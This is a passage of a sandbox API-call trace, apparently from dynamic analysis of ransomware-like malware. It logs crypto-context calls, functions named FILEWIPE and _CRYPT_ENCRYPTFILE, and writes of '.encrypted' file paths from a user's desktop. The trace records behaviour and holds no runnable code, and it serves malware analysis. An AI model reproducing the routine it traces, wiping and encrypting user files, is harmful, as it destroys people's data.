hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.648] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.648] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.648] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.648] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.648] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.648] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0022.648] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.648] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.648] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.648] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.648] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.649] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.650] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.651] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.651] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.651] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.651] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.651] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.651] CharLowerBuffW (in: lpsz="byte[92633]", cchLength=0xb | out: lpsz="byte[92633]") returned 0xb [0022.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.654] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.654] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.654] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.654] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.654] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.654] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.655] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.655] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.655] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.656] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.656] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.656] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.656] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.657] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.657] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.657] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.657] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.657] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.657] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.657] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.657] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.657] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.657] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1028) returned 1 [0022.657] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.657] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.657] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.657] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x404, lpOverlapped=0x0) returned 1 [0022.657] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.657] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.657] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1028) returned 1 [0022.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0022.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\n", cchWideChar=75, lpMultiByteStr=0xe8f4069590, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\n", lpUsedDefaultChar=0x0) returned 75 [0022.658] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069a10*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069a10*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4a, lpOverlapped=0x0) returned 1 [0022.658] CloseHandle (hObject=0x188) returned 1 [0022.660] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.660] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.660] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.660] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.660] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.660] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.660] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.661] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.661] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.662] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41784c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.662] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.csv", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0022.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.csv", cchWideChar=56, lpMultiByteStr=0xe8f404ba10, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.csv", lpUsedDefaultChar=0x0) returned 56 [0022.663] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.csv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\umorr9mp.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0022.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=56, lpWideCharStr=0xe8f4067370, cchWideChar=56 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.csv") returned 56 [0022.664] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.664] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.664] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.664] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.665] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178a80, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.665] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.665] CloseHandle (hObject=0x188) returned 1 [0022.665] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.665] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.665] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.665] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.665] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.665] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.665] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.665] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.666] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.666] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.666] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.666] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.666] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.666] 